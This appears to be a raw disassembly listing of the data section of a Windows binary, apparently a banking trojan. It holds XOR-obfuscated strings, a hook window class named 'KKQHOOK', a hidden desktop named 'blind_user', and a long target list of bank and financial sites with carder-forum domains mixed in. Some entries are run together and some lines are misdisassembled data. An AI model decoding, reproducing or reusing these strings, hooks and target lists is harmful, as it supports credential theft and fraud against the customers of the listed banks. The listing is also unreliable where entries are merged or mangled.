dd 0B2B0ACB0h, 0FAA2B8AEh, 0A0B5B0h
dword_446BF4 dd 6B746164h, 3233716Bh, 6C6C642Eh db 0
byte_446C01 db 64h, 6Eh, 6Bh ; DATA XREF: sub_40AA24+41Ao
dd 642E716Bh
db 2 dup(6Ch), 0
byte_446C0B db 6Bh ; DATA XREF: sub_40AA24+3F4o
dd 3233716Bh, 6C6C642Eh
db 0
byte_446C15 db 0F1h, 0A7h, 88h ; DATA XREF: sub_40AA24+3EAo
; sub_40AA24+410o ...
db 0F1h, 0A7h, 0
byte_446C1B db 0F1h ; DATA XREF: sub_40AA24+2FFo
dd 0A7F188A7h, 0B1ACB1FAh
db 0
byte_446C25 db 0B1h, 0BAh, 0B5h ; DATA XREF: sub_40AA24+A6o
dd 0B0B1B8B6h
db 0A7h, 0B2h, 0
byte_446C2F db 88h ; DATA XREF: sub_40AA24+4Do
dd 0A2BDA6B0h, 88A7A6B1h, 0A7BDB0BAh, 0A7FAB0A6h, 0A7ADh
dbl_446C44 dq 1.2 ; DATA XREF: sub_4098A8+1002r
dword_446C4C dd 0A6B2BDE8h, 0F4B1B9B5h, 0E9B7A6A7h, 0A4A0A0BCh, 0F1FBFBEEh
; DATA XREF: sub_4098A8+EBCo
dd 0FBE8EAA7h, 0B5A6B2BDh, 0EAB1B9h
dword_446C6C dd 0B9A0BCE8h db 0B8h, 0EAh, 0
byte_446C73 db 0B0h ; DATA XREF: sub_4098A8+D86o
dd 0F4A7BBB0h
db 0
byte_446C79 db 0BAh, 0B1h, 0A3h ; DATA XREF: sub_4098A8+D45o
dd 0A6B1A2h
dword_446C80 dd 0E6B0ACh dword_446C84 dd 0B0A4A1A3h db 0F4h, 0
word_446C8A dw 0A7F1h ; DATA XREF: sub_4098A8+BAAo
dd 0F497FBF4h
db 0F1h, 0A7h, 0
byte_446C93 db 88h ; DATA XREF: sub_4098A8+B78o
dd 0B9B9BBB7h, 0FAB0BAB5h, 0B9BBB7h
dword_446CA0 dd 0B788A7F1h, 0B5B9B9BBh, 0A4FAB0BAh db 0BDh, 0B2h, 0
byte_446CAF db 88h ; DATA XREF: sub_4098A8+B1Ao
dd 0FAB0B9B7h, 0B1ACB1h
dword_446CB8 dd 0B788A7F1h, 0A4FAB0B9h db 0BDh, 0B2h, 0
byte_446CC3 db 0EEh ; DATA XREF: sub_4098A8+A5Eo
dd 0A1E6E4F1h
db 0
byte_446CC9 db 0EBh, 0B0h, 0B9h ; DATA XREF: sub_4098A8+933o
dd 0E6E9A4h
dword_446CD0 dd 0F188A7F1h, 0B9A0FAA7h db 0A4h, 0
word_446CDA dw 0A4A3h ; DATA XREF: sub_4098A8+4F0o
dd 0F4A0A7h
byte_446CE0 db 0A5h, 0 ; DATA XREF: sub_4098A8+272o
; sub_4098A8+616o ...
word_446CE2 dw 0BDEBh ; DATA XREF: sub_4098A8+21Ao
dd 0F1E9B7B2h
db 0A1h, 0
word_446CEA dw 0B2BDh ; DATA XREF: sub_4098A8+1C6o
; sub_4098A8+31Bo
db 0B7h, 0
aZAgJIsJZAigGz db '‡»² £µ¦±ˆ™½·¦»§»² ˆƒ½º°»£§',0 ; DATA XREF: sub_4098A8+1B4o
; sub_4098A8+309o
byte_446D09 db 0FBh, 0A3h, 0B7h ; DATA XREF: sub_4098A8+171o
dd 0A4FAB2B1h
db 0BCh, 0A4h, 0
byte_446D13 db 0FBh ; DATA XREF: sub_4098A8+13Co
db 0
byte_446D15 db 0BCh, 2 dup(0A0h) ; DATA XREF: sub_4098A8+116o
dd 0FBFBEEA4h
db 0F1h, 0A7h, 0
byte_446D1F db 0F1h ; DATA XREF: sub_4098A8+BBo
; sub_4098A8+5E6o ...
dd 0A7F188A7h, 0A0B5B0FAh
db 0
byte_446D29 db 97h, 0B8h, 0BDh ; DATA XREF: sub_408ED0+773o
dd 9BF4BFB7h, 0F4B1B7BAh, 97F4BB80h, 0BDA0BABBh, 0B1A1BAh
dword_446D40 dd 80808196h db 9Bh, 9Ah, 0
byte_446D47 db 91h ; DATA XREF: sub_408ED0+667o
; sub_408ED0+6D7o
db 90h
db 9Dh, 80h, 0
dword_446D4C dd 0B5B1B884h, 0B9F4B1A7h, 0F4B1BFB5h, 0A6A6BBB7h, 0BDA0B7B1h
; DATA XREF: sub_408ED0+5C0o
dd 0F4A7BABBh, 0F4B0BAB5h, 0F4ADA6A0h, 0BDB5B3B5h
db 0BAh, 0FAh, 0
byte_446D73 db 81h ; DATA XREF: sub_408ED0+547o
dd 0B8B6B5BAh, 0BBA0F4B1h, 0A0A1B5F4h, 0BDA6BBBCh, 0F4FAB1AEh
dd 0F4998095h, 0F99A9D84h, 0B1B0BB97h, 0F4A7BDF4h, 0A1A5B1A6h
dd 0B0B1A6BDh, 0F4BBA0F4h, 0A4B9BBB7h, 0B1A0B1B8h, 0B1BCA0F4h
dd 0B5A6A0F4h, 0B7B5A7BAh, 0BABBBDA0h
db 0FAh, 0
word_446DBE dw 8095h ; DATA XREF: sub_408ED0+4D2o
dd 9D84F499h, 0BB97F99Ah
db 0B0h, 0B1h, 0
byte_446DCB db 91h ; DATA XREF: sub_408ED0+460o
dd 0A6BDA4ACh, 0BBBDA0B5h, 0B5B0F4BAh
db 0A0h, 0B1h, 0
byte_446DDB db 8Dh ; DATA XREF: sub_408ED0+3EAo
dd 0F4A6A1BBh, 0B0A6B5B7h, 0B9A1BAF4h, 0A6B1B6h
dword_446DEC dd 0FAF1E4E6h db 0E6h, 0A1h, 0
byte_446DF3 db 0F1h ; DATA XREF: sub_408ED0+328o
dd 0A1E6FAh
dword_446DF8 dd 96999B97h, 8C9B969Bh ; sub_408ED0+289o
db 0
byte_446E01 db 0DEh, 2 dup(0F4h) ; DATA XREF: sub_408ED0+103o
dd 0A0A195F4h, 0BDA6BBBCh, 0BDA0B5AEh, 92F4BABBh, 0B1B8BDB5h
db 0B0h, 0FAh, 0
byte_446E1B db 87h ; DATA XREF: sub_408ED0+F1o
; sub_408ED0+15Eo ...
dd 9D809580h
db 97h, 0
; char ClassName[]
ClassName db 'KKQHOOK',0 ; DATA XREF: sub_408ED0+CDo
; sub_4098A8+288o ...
db 0
aSmdJJ db '‘¬¤¸»¦±¦',0 ; DATA XREF: sub_408ED0+3Ao
; sub_40B3E8+C1o
aRIA db '»·›¶¾±· ',0 ; DATA XREF: sub_408ED0+1Eo
; sub_40B3E8+9Eo
word_446E3E dw 0D3C6h ; DATA XREF: sub_408B4C+177o
; ---------------------------------------------------------------------------
jmp edx
; ---------------------------------------------------------------------------
dw 0F6EAh
dd 0B4FFE8F5h, 0BAFFE2FFh
db 0
byte_446E4D db 0CAh, 0FBh, 0EEh ; DATA XREF: sub_408B4C+F4o
db 0F2h, 0
word_446E52 dw 0F5C9h ; DATA XREF: sub_408B4C+DFo
dd 0FBEDEEFCh, 0D7C6FFE8h, 0F5E8F9F3h, 0EEFCF5E9h, 0BADFD3C6h
dd 0EFEEFFC9h, 0FFC9C6EAh, 0EAEFEEh
dword_446E74 dd 0F7EEF2B4h db 0
byte_446E79 db 66h, 59h, 57h ; DATA XREF: sub_40844F+FEo
dd 425F145Eh, 79151A5Fh, 5B4E491Ah, 591A4E48h, 55586600h
dd 49144E55h
db 43h, 49h, 0
byte_446E97 db 1Fh ; DATA XREF: sub_40844F+D9o
dd 57596649h, 534A145Eh
db 5Ch, 0
word_446EA2 dw 5166h ; DATA XREF: sub_40833E+71o
dd 5F54485Fh, 14080956h, 56565Eh
byte_446EB0 db 0F0h, 0F7h, 0 ; DATA XREF: sub_408048+229o
byte_446EB3 db 0D3h ; DATA XREF: sub_406D2E+F05o
dd 9A92929Ah, 9CD39891h, 8F9C8A99h
db 98h, 0
word_446EC2 dw 9AD3h ; DATA XREF: sub_406D2E+ED8o
dd 919A9292h
db 98h, 0D3h, 0
byte_446ECB db 0DDh ; DATA XREF: sub_406D2E+E6Bo
db 0
byte_446ECD db 0C7h, 0 ; DATA XREF: sub_406D2E+DE9o
byte_446ECF db 0DDh ; DATA XREF: sub_406D2E+D83o
dd 0C7A5D8h
byte_446ED4 db 81h, 0 ; DATA XREF: sub_406D2E+6CFo
aPVEPVE db 'Á»¯¼°¸¢Ø¥Ð»²¯°¢Ø¥ÃÝ',0 ; DATA XREF: sub_406D2E+625o
aNPVE db 'Á°¼´³ºÐ»²¯°¢Ø¥ÃÝ',0 ; DATA XREF: sub_406D2E+5DCo
; OLECHAR aName
aName: ; DATA XREF: sub_406D2E+3Do
unicode 0, <name>,0
align 4
; OLECHAR psz
psz: ; DATA XREF: sub_406D2E+2Do
unicode 0, <value>,0
unk_446F14 db 5Bh ; [ ; DATA XREF: sub_406A40+A8o
db 7Fh, 75h, 64h
aYeypb6_xbsdxsb db 'yeypb6_xbsdxsb6Snfzydsd',0
; OLECHAR sz
sz: ; DATA XREF: sub_40696D+34o
unicode 0, <{9BA05972-F6A8-11CF-A442-00A0C90A8F39}>,0
; char String[]
String db '<HTML><!--',0 ; DATA XREF: sub_4061F7+4E4o
; sub_4061F7+4EFo ...
aXOkrecv11 db 'X-okRecv11',0 ; DATA XREF: sub_4061F7+422o
aUyznQy db 'uyzN]QY',0 ; DATA XREF: sub_4061F7+389o
dword_446F9C dd 49194F19h, 711C111Ch, 534E5F55h, 485A534Fh, 4852751Ch
; DATA XREF: sub_4061F7+340o
dd 59524E59h, 44791C48h, 4E53504Ch
db 59h, 4Eh, 0
byte_446FBF db 60h ; DATA XREF: sub_4061F7+1EAo
dd 4C445975h, 594E5350h, 59445912h
db 1Ch, 0
word_446FCE dw 5D6Ch ; DATA XREF: sub_4061F7+B5o
db 48h, 54h, 0
byte_446FD3 db 6Fh ; DATA XREF: sub_4061F7+A3o
dd 4B485A53h, 60594E5Dh, 4E5F5571h, 5A534F53h, 79756048h
dd 48596F1Ch, 6F604C49h, 4C494859h
db 0
byte_446FF5 db 7Dh, 2 dup(4Ch) ; DATA XREF: sub_405E88+333o
dd 52594A79h, 6F604F48h, 5159545Fh, 7D604F59h, 604F4C4Ch
dd 504C4479h, 4E594E53h, 485F7D60h, 485D4A55h, 785B5255h
dd 51495F53h, 60485259h, 4E497F12h, 4852594Eh
db 0
byte_447031 db 7Dh, 2 dup(4Ch) ; DATA XREF: sub_405E88+309o
dd 52594A79h, 6F604F48h, 5159545Fh, 7D604F59h, 604F4C4Ch
dd 504C4479h, 4E594E53h, 4A5D7260h, 485D5B55h, 605B5255h
dd 4E497F12h, 4852594Eh
db 0
aPsPioynszzpury db '{PS^]PiOYNsZZPURY',0 ; DATA XREF: sub_405E88+2CCo
byte_447077 db 6Fh ; DATA XREF: sub_405E88+2BAo
dd 4B485A53h, 60594E5Dh, 4E5F5571h, 5A534F53h, 556B6048h
dd 4B535852h, 497F604Fh, 52594E4Eh, 4E596A48h, 5253554Fh
dd 48527560h, 59524E59h, 596F1C48h, 52554848h
db 5Bh, 4Fh, 0
byte_4470B3 db 55h ; DATA XREF: sub_405E88+271o
dd 504C4459h, 12594E53h, 594459h
dword_4470C0 dd 6F604F19h, 4B485A53h, 60594E5Dh, 4E5F5571h, 5A534F53h
; DATA XREF: sub_405E88+245o
dd 52756048h, 524E5948h, 791C4859h, 53504C44h, 604E594Eh
dd 52555D71h, 5D597A60h, 594E4948h, 4852537Fh, 6050534Eh
dd 687D797Ah, 63796E69h, 7D7F7370h, 7F7D7170h, 79727574h
dd 7F737063h, 6B737877h
db 72h, 0
word_44711A dw 5945h ; DATA XREF: sub_405E88+1E1o
db 4Fh, 0
aNskoyryklns_yo db '~NSKOYrYKlNS_YOO',0 ; DATA XREF: sub_405E88+1CFo
byte_44712F db 12h ; DATA XREF: sub_405E88+1BDo
dd 7D7A7978h, 60687069h, 687A736Fh, 796E7D6Bh, 5F557160h
dd 534F534Eh, 6B60485Ah, 53585255h, 7F604F4Bh
aInnyrhjynousrY db 'INNYRHjYNOUSR`yDLPSNYN`~NSKOYrYKlNS_YOO',0
dword_44717C dd 687A736Fh, 796E7D6Bh, 50536C60h, 59555F55h, 5571604Fh
; DATA XREF: sub_405E88+101o
dd 4F534E5Fh, 60485A53h, 5852556Bh, 604F4B53h, 4E4E497Fh
dd 6A485259h, 554F4E59h, 75605253h, 4E594852h, 1C485952h
dd 4848596Fh, 4F5B5255h, 52536660h, 19604F59h
db 49h, 0
word_4471CA dw 0A0Dh ; DATA XREF: sub_405E88+7Ao
; sub_405E88+B7o ...
db 0Ch, 0Dh, 0
byte_4471CF db 6Fh ; DATA XREF: sub_405E88+54o
dd 6B687A73h, 60796E7Dh, 4E5F5571h, 5A534F53h, 556B6048h
dd 4B535852h, 497F604Fh, 52594E4Eh, 4E596A48h, 5253554Fh
dd 48527560h, 59524E59h, 596F1C48h, 52554848h, 66604F5Bh
dd 4F595253h, 491960h
dword_447214 dd 48541300h, 25051hdword_44721C dd 535E1300h, 24558hdword_447224 dd 5F4F1300h, 484C554Eh db 2, 0
word_44722E dw 594Fh ; DATA XREF: sub_4054C8+84Ao
dd 51556848h, 48495359h, 4F191E14h, 101E1514h, 7154919h
db 0
byte_447245 db 41h, 0 ; DATA XREF: sub_4054C8+825o
byte_447247 db 58h ; DATA XREF: sub_4054C8+7DBo
dd 51495F53h, 12485259h, 4F124F19h, 55515E49h, 7151448h
db 0
byte_44725D db 5Ah, 49h, 52h ; DATA XREF: sub_4054C8+79Bo
dd 5355485Fh, 4F191C52h, 471514h
dword_44726C dd 12195F19h db 0Eh, 49h, 0
byte_447273 db 0 ; DATA XREF: sub_4054C8+6F1o
dd 554E5F4Fh, 2484Ch
dword_44727C dd 535A1300h, 2514Ehdword_447284 dd 4C525500h, 481C4849h, 1594C45h, 5E494F1Eh, 1E485551h
; DATA XREF: sub_4054C8+6A8o
dd 505D4A1Ch, 1B015949h
db 1Bh, 2, 0
off_4472A3 dd offset loc_404F16+3 ; DATA XREF: sub_4054C8+565o
byte_4472A7 db 0 ; DATA XREF: sub_4054C8+494o
; sub_4054C8+612o
dd 494C5255h, 45481C48h, 1E01594Ch, 48555859h, 5D4A1C1Eh
dd 1594950h, 1B4F191Bh, 515D521Ch, 191B0159h, 1B49194Fh
dd 4E5E0002h, 363102h
dword_4472D8 dd 4C525500h, 481C4849h, 1594C45h, 5558591Eh, 4A1C1E48h
; DATA XREF: sub_4054C8+326o
dd 5949505Dh, 49191B01h, 5D521C1Bh, 1B015951h, 21B5Dh
dd 31024E5Eh
db 36h, 0
word_447306 dw 5A00h ; DATA XREF: sub_4054C8+2C9o
dd 1C514E53h, 55485F5Dh, 1E015253h, 1C1E4F19h, 54485951h
dd 1E015853h, 686F736Ch, 5D521C1Eh, 1E015951h, 21E4F19h
db 0
byte_447331 db 5Ah, 19h, 12h ; DATA XREF: sub_4054C8+286o
db 0Fh, 49h, 0
byte_447337 db 0 ; DATA XREF: sub_4054C8+250o
dd 4558535Eh
db 2, 0
word_44733E dw 1300h ; DATA XREF: sub_4054C8+224o
dd 585D5954h
db 2, 0
word_447346 dw 694Dh ; DATA XREF: sub_4054C8+1F8o
; sub_4061F7+350o
dd 536F7263h, 2D74666Fh, 70726F43h
db 0
byte_447355 db 0, 48h, 55h ; DATA XREF: sub_4054C8+1E8o
dd 2595048h, 49194F19h, 55481300h, 2595048h
db 0
byte_447369 db 0, 54h, 59h ; DATA XREF: sub_4054C8+1BFo
dd 2585Dh
dword_447370 dd 51485400h db 50h, 2, 0
byte_447377 db 12h ; DATA XREF: sub_4054C8+168o
dd 514854h
dword_44737C dd 5F194F19h ; sub_4054C8+412o
db 19h, 5Fh, 0
byte_447383 db 16h ; DATA XREF: sub_40523D:loc_4052F5o
db 12h, 16h, 0
byte_447387 db 3 ; DATA XREF: sub_40523D+4Do
db 0
byte_447389 db 56h, 5Eh, 17h ; DATA XREF: sub_404EC6+15Eo
db 0Eh, 0
word_44738E dw 175Eh ; DATA XREF: sub_404EC6+FAo
db 0Eh, 0
word_447392 dw 34Bh ; DATA XREF: sub_404EC6+8Co
dd 13494B5Eh, 494B5E03h, 4B5E0313h, 5E031349h, 313494Bh
dd 13494B5Eh, 494B5E03h
db 13h, 3, 0
byte_4473B3 db 28h ; DATA XREF: sub_404EC6+57o
dd 0E175E56h
db 56h, 0
word_4473BA dw 998Ah ; DATA XREF: sub_40481B+5A8o
dd 0C2D8D3D5h, 88C4D3h
dword_4473C4 dd 0D8D3D58Ah, 88C4D3C2h db 0
byte_4473CD db 8Ah, 99h, 0D0h ; DATA XREF: sub_40481B+527o
; ---------------------------------------------------------------------------
fstp1 st
retn 88h
; ---------------------------------------------------------------------------
byte_4473D5 db 8Ah, 99h, 0C3h ; DATA XREF: sub_40481B+4FAo
db 88h, 0
word_4473DA dw 998Ah ; DATA XREF: sub_40481B+4D2o
db 0D4h, 88h, 0
byte_4473DF db 8Ah ; DATA XREF: sub_40481B+49Ao
dd 88DF99h
dword_4473E4 dd 88DF8Ah dword_4473E8 dd 88C38Ah dword_4473EC dd 88D48Ah dword_4473F0 dd 88C4D48Ah db 0
byte_4473F5 db 2 dup(9Bh), 88h ; DATA XREF: sub_40481B+200o
db 96h, 0
word_4473FA dw 978Ah ; DATA XREF: sub_40481B+6Do
dd 969B9Bh
byte_447400 db 0BBh, 0BCh, 0 ; DATA XREF: sub_404529+2D9o
; sub_40481B+5F1o
byte_447403 db 99h ; DATA XREF: sub_404529+22Ao
dd 93D59399h, 0BBD593D5h
db 0BCh, 0
aCuUUClcuN db 'À×Ä–“Õ“Õ“Õ–‹–“Ã',0 ; DATA XREF: sub_404529+135o
aCS db '–œ™',0 ; DATA XREF: sub_404529+FFo
aUU db '“Å“Õ',0 ; DATA XREF: sub_404529+95o
; sub_40481B+ABo ...
aSC db '™œ–',0 ; DATA XREF: sub_404529+5Fo
; char szDesktop[]
szDesktop db 'blind_user',0 ; DATA XREF: sub_4043CA+65o
; sub_40446E+12o
aSS db '¿éºµÙº¿é',0 ; DATA XREF: sub_40406B+286o
dword_447440 dd 0F5F5F6A0h, 0DA9097EAh, 0BAF6FFFEh, 0F4A4E9BFh, 9097F6EFh
; DATA XREF: sub_40406B+213o
dd 0BAFCF3DAh, 0E9F3E2FFh, 0E9BFBAEEh, 0EEF5FDBAh, 0F5F6BAF5h
dd 9097EAF5h, 0F6FFFEDAh, 0A4E9BFBAh, 97F6EFF4h
db 90h
align 2
word_44747A dw 0F9C6h ; DATA XREF: sub_40406B+1AEo
dd 0FBF7F7F5h, 0F9B4FEF4h
db 0F5h, 0F7h, 0
byte_447487 db 0BFh ; DATA XREF: sub_40406B+17Bo
dd 0F5F9C6E9h, 0F4FBF7F7h, 0F3EAB4FEh
db 0FCh, 0
word_447496 dw 0E9BFh ; DATA XREF: sub_40406B+156o
dd 0F6E9E2C6h, 0A3F6FEFCh, 0FBF8B4E2h
db 0EEh, 0
word_4474A6 dw 0F9C6h ; DATA XREF: sub_40406B+11Ao
dd 0FFB4FEF7h
db 0E2h, 0FFh, 0
byte_4474AF db 0BFh ; DATA XREF: sub_40406B+FAo
dd 0F7F9C6E9h, 0F3EAB4FEh
db 0FCh, 0
word_4474BA dw 0E9BFh ; DATA XREF: sub_40406B+DAo
dd 0F6E9E2C6h, 0F4F6FEFCh, 0FBF8B4EEh
db 0EEh, 0
aKNoLEfLKNeoOke db 'ж¿®¸«¼…”°º«¶ª¶¿…ް·½¶®ª…𬫫¼·¼«ª°¶·…б¼µµŠ¼«¯°º¼–»³¼º¼µ¸ '
; DATA XREF: sub_403BE7+332o
db '•¶¸½',0
aSiLnN db '˜©¸«´¼·',0 ; DATA XREF: sub_403BE7+30Do
aNLF db '±«¼¸½°·¾”¶½¼µ',0 ; DATA XREF: sub_403BE7+2FBo
; const CHAR WindowName
WindowName db 0 ; DATA XREF: sub_403BE7+2DEo
; sub_405E88+317o ...
word_44752A dw 959Ah ; DATA XREF: sub_403BE7+2B4o
dd 859D908Ah, 9085AAFCh, 0B6AB89B7h, 0ABBC8ABAh, 0EAABBCAFh
db 0EBh, 0
word_447542 dw 0AAFCh ; DATA XREF: sub_403BE7+210o
dd 0F7AAFC85h, 0B5B5BDh
dword_44754C dd 0EDE9FCA2h, 0EDE9FC81h, 0E9FCF481h, 0FCF481EDh, 0F481EDE9h
; DATA XREF: sub_403BE7+2Bo
dd 81EDE9FCh, 0EDE9FCF4h, 2 dup(0EDE9FC81h)
db 81h, 0A4h, 0
byte_447573 db 0F9h ; DATA XREF: sub_403A5F+130o
db 0
byte_447575 db 0FCh, 0AAh, 85h ; DATA XREF: sub_403A5F+53o
dd 0BCF7AAFCh
db 0A1h, 0BCh, 0
byte_44757F db 0FCh ; DATA XREF: sub_40399B+7Do
dd 81E1E9h
byte_447584 db 56h, 0 ; DATA XREF: sub_4037CA+32o
; .text:00403896o
word_447586 dw 83h ; DATA XREF: sub_4036BC+2Fo
byte_447588 db 0E3h, 0 ; DATA XREF: sub_4035DB+9Bo
word_44758A dw 0E995h ; DATA XREF: sub_40341E+32o
; sub_40349A+3Fo
db 0
aChevychasebank db 'chevychasebank.com',0 ; DATA XREF: .text:0043C1E0o
aGronxplanets_r db 'gronxplanets.ru',0 ; DATA XREF: .text:0043C1DCo
aWww_mdmbank_ru db 'www.mdmbank.ru',0 ; DATA XREF: .text:0043C1D8o
aFethard_biz db 'fethard.biz',0 ; DATA XREF: .text:0043C1D4o
aRoyalbank_com db 'royalbank.com',0
aSecuritylab_ru db 'securitylab.ru',0 ; DATA XREF: .text:0043C1CCo
aTatNeftbank_ru db 'tat-neftbank.ru',0 ; DATA XREF: .text:0043C1C8o
aSeclab_ru db 'seclab.ru',0 ; DATA XREF: .text:0043C1C4o
aOpenbank_com db 'openbank.com',0 ; DATA XREF: .text:0043C1C0o
aGutabank_ru db 'gutabank.ru',0 ; DATA XREF: .text:0043C1BCo
aWww_b2bTrust_c db 'www.b2b-trust.com',0 ; DATA XREF: .text:0043C1B8o
aGrepwareFacili db 'grepware-facility.ru',0 ; DATA XREF: .text:0043C1B4o
aWww_uralsib_ru db 'www.uralsib.ru',0 ; DATA XREF: .text:0043C1B0o
a53bank_com db '53bank.com',0 ; DATA XREF: .text:0043C1ACo
aWww_nbc_caInde db 'www.nbc.ca/index.php',0 ; DATA XREF: .text:0043C1A8o
aTotallyfreeban db 'totallyfreebanking.com',0 ; DATA XREF: .text:0043C1A4o
aBarclays_com db 'barclays.com',0 ; DATA XREF: .text:0043C1A0o
aWww_lbcdirect_ db 'www.lbcdirect.laurentianbank.ca/index.php',0
; DATA XREF: .text:0043C19Co
aKidosBank_ru db 'kidos-bank.ru',0 ; DATA XREF: .text:0043C198o
aYambo_biz db 'yambo.biz',0 ; DATA XREF: .text:0043C194o
aProrat_net db 'prorat.net',0 ; DATA XREF: .text:0043C190o
aWww1_hsbc_caIn db 'www1.hsbc.ca/index.php',0 ; DATA XREF: .text:0043C18Co
aWww_ovk_ru db 'www.ovk.ru',0 ; DATA XREF: .text:0043C188o
aWww_rbc_com db 'www.rbc.com',0 ; DATA XREF: .text:0043C184o
aMasterX_comFor db 'master-x.com/forum/',0 ; DATA XREF: .text:0043C180o
aWww_allahabadb db 'www.allahabadbank.com',0 ; DATA XREF: .text:0043C17Co
aOnlineBusiness db 'online-business.lloydstsb.co.uk',0 ; DATA XREF: .text:0043C178o
aMyonlineaccoun db 'myonlineaccounts2.abbeynational.co.uk',0 ; DATA XREF: .text:0043C174o
aWww_absolutban db 'www.absolutbank.ru',0 ; DATA XREF: .text:0043C170o
aKavkazcenter_c db 'kavkazcenter.com/russ',0 ; DATA XREF: .text:0043C16Co
aWww_netmagiste db 'www.netmagister.com',0 ; DATA XREF: .text:0043C168o
aWww_kmb_ru db 'www.kmb.ru',0 ; DATA XREF: .text:0043C164o
aWww_spyinstruc db 'www.spyinstructors.com',0 ; DATA XREF: .text:0043C160o
aAcroleinHawk_r db 'acrolein-hawk.rubanking.halifax-online.co.uk',0
; DATA XREF: .text:0043C15Co
aWww_icbank_ru db 'www.icbank.ru',0 ; DATA XREF: .text:0043C158o
aWww_bankofindi db 'www.bankofindia.com',0 ; DATA XREF: .text:0043C154o
aPizdabolInc_ru db 'pizdabol-inc.ru',0 ; DATA XREF: .text:0043C150o
aWww_sbrf_ru db 'www.sbrf.ru',0 ; DATA XREF: .text:0043C14Co
aWww_candidatev db 'www.candidateverifier.com/index.php',0 ; DATA XREF: .text:0043C148o
aWww_worldbank_ db 'www.worldbank.org/index.php',0 ; DATA XREF: .text:0043C144o
aDigitalRelaxkg db 'digital-relaxkgb.ru',0 ; DATA XREF: .text:0043C140o
aAsmworm_com db 'asmworm.com',0 ; DATA XREF: .text:0043C138o
aAtmacasoft_com db 'atmacasoft.com',0 ; DATA XREF: .text:0043C134o
aCrutop_nuVbu_1 db 'crutop.nu/vbulletin/showthread.php',0 ; DATA XREF: .text:0043C130o
aWww_uniastrum_ db 'www.uniastrum.ru',0 ; DATA XREF: .text:0043C12Co
aCrutop_nuVbu_0 db 'crutop.nu/vbulletin/forumdisplay.php',0 ; DATA XREF: .text:0043C128o
aWww_mmbank_ru db 'www.mmbank.ru',0 ; DATA XREF: .text:0043C124o
aCrutop_nuVbull db 'crutop.nu/vbulletin/',0 ; DATA XREF: .text:0043C120o
aAlfabank_ru db 'alfabank.ru',0 ; DATA XREF: .text:0043C11Co
aHyperSpaceFuel db 'hyper-space-fuel.ru',0 ; DATA XREF: .text:0043C118o
aWww_cwbank_com db 'www.cwbank.com',0 ; DATA XREF: .text:0043C114o
aWww_vtb_ru db 'www.vtb.ru',0 ; DATA XREF: .text:0043C110o
aWww_cibc_com db 'www.cibc.com',0 ; DATA XREF: .text:0043C10Co
aWww_bankofmadu db 'www.bankofmadura.com',0 ; DATA XREF: .text:0043C108o
aWww_bmo_com db 'www.bmo.com',0 ; DATA XREF: .text:0043C104o
aWww_bankBanque db 'www.bank-banque-canada.ca/index.php',0 ; DATA XREF: .text:0043C100o
aWww_masterbank db 'www.masterbank.ru',0 ; DATA XREF: .text:0043C0FCo
aEbookfinaltras db 'ebookfinaltrash.ru',0 ; DATA XREF: .text:0043C0F8o
aMasterX_com db 'master-x.com',0 ; DATA XREF: .text:0043C0F4o
aWww_bbin_ru db 'www.bbin.ru',0 ; DATA XREF: .text:0043C0F0o
aOlb2_nationet_ db 'olb2.nationet.com',0 ; DATA XREF: .text:0043C0ECo
aWelcome3_smile db 'welcome3.smile.co.uk',0 ; DATA XREF: .text:0043C0E8o
aWww_baltbank_r db 'www.baltbank.ru',0 ; DATA XREF: .text:0043C0E4o
aNew_egg_com db 'new.egg.com',0 ; DATA XREF: .text:0043C0E0o
aProdexteam_n_0 db 'prodexteam.netcrutop.nu',0 ; DATA XREF: .text:0043C0DCo
aWww_proxySocks db 'www.proxy-socks.net',0 ; DATA XREF: .text:0043C0D8o
; .text:0043C13Co
aWww_cbr_ru db 'www.cbr.ru',0 ; DATA XREF: .text:0043C0D4o
aProdexteam_net db 'prodexteam.net/main.htm',0 ; DATA XREF: .text:0043C0D0o
aProdexteam_n_1 db 'prodexteam.net',0 ; DATA XREF: .text:0043C0CCo
aChechenpress_i db 'chechenpress.info',0 ; DATA XREF: .text:0043C0C8o
aSiliconfirewar db 'siliconfireware.ru',0 ; DATA XREF: .text:off_43C0C4o
db '://',0
align 4
loc_447ACC: ; DATA XREF: sub_406D2E+D4o
and eax, 0CB332C44h
rcl byte ptr es:[ecx], 1
mov ah, 83h
add al, al
dec edi
fld dword ptr [ecx]
loc_447ADB: ; DATA XREF: sub_406D2E+4C8o
; sub_406D2E+92Do
sbb edi, edi
icebp
push eax
xor [ebp-44EE3068h], dh
add byte ptr [eax], 0AAh
loc_447AE8: ; DATA XREF: sub_406D2E+865o
add [ebp-0E08F432h], bh
push eax
xor [ebp-44EE3068h], dh
add byte ptr [eax], 0AAh
loc_447AF8: ; DATA XREF: sub_406D2E+2E5o
add [ebp+44270BCEh], bh
sub al, 33h
retf
; ---------------------------------------------------------------------------
db 26h, 0D0h, 11h
dd 0C00083B4h, 1901D94Fh
dword_447B0C dd 85CB6900h, 11CF4D95h, 80000C96h, 85EEF4C7h; IID riid
riid dd 0 ; Data1 ; DATA XREF: sub_40696D+52o
dw 0 ; Data2
dw 0 ; Data3
db 0C0h, 6 dup(0), 46h ; Data4
dword_447B2C dd 0D30C1661h, 11D0CDAFh, 0C0003E8Ah, 6EE2C94Fhdword_447B3C dd 10h dup(0) ; sub_40BCDC:loc_40BCF6o ...
dword_447B7C dd 0 ; sub_40BC80:loc_40BCC2o ...
dd 0Fh dup(0)
dword_447BBC dd 0 ; sub_40BDE5+825r
dword_447BC0 dd 0 ; sub_40BDE5+82Cr
dword_447BC4 dd 0 ; sub_40BDE5+834r
dword_447BC8 dd 0 ; sub_40BDE5+83Cr
dd 10Dh dup(0)
off_448000 dd offset dword_44810C ; DATA XREF: .text:00448E00o
dd 2 dup(0)
dd offset dword_44810C
dd offset dword_44810C
dd offset dword_44811C
align 10h
dd offset dword_44811C
dd offset dword_44811C
off_448028 dd offset dword_448134 ; DATA XREF: .text:00448E24o
; .text:00448E28o ...
dd 2 dup(0)
dd offset dword_448134
dd offset dword_448134
off_44803C dd offset dword_448214 ; DATA XREF: .text:00448E44o
; .text:00448E48o ...
dd 2 dup(0)
dd offset dword_448214
dd offset dword_448214
dd offset dword_448290
dd 2 dup(0)
dd offset dword_448290
dd offset dword_448290
dd offset dword_4482AC
align 10h
dd offset dword_4482AC
dd offset dword_4482AC
off_448078 dd offset dword_4482E8 ; DATA XREF: .text:00448FCCo
; .text:00448FD0o ...
dd 2 dup(0)
dd offset dword_4482E8
dd offset dword_4482E8
dd offset dword_448338
dd 2 dup(0)
dd offset dword_448338
dd offset dword_448338
dd 1Ah dup(0)
dd 48574h
dword_44810C dd 2 dup(0) ; .text:0044800Co ...
dd 48588h, 485A4h
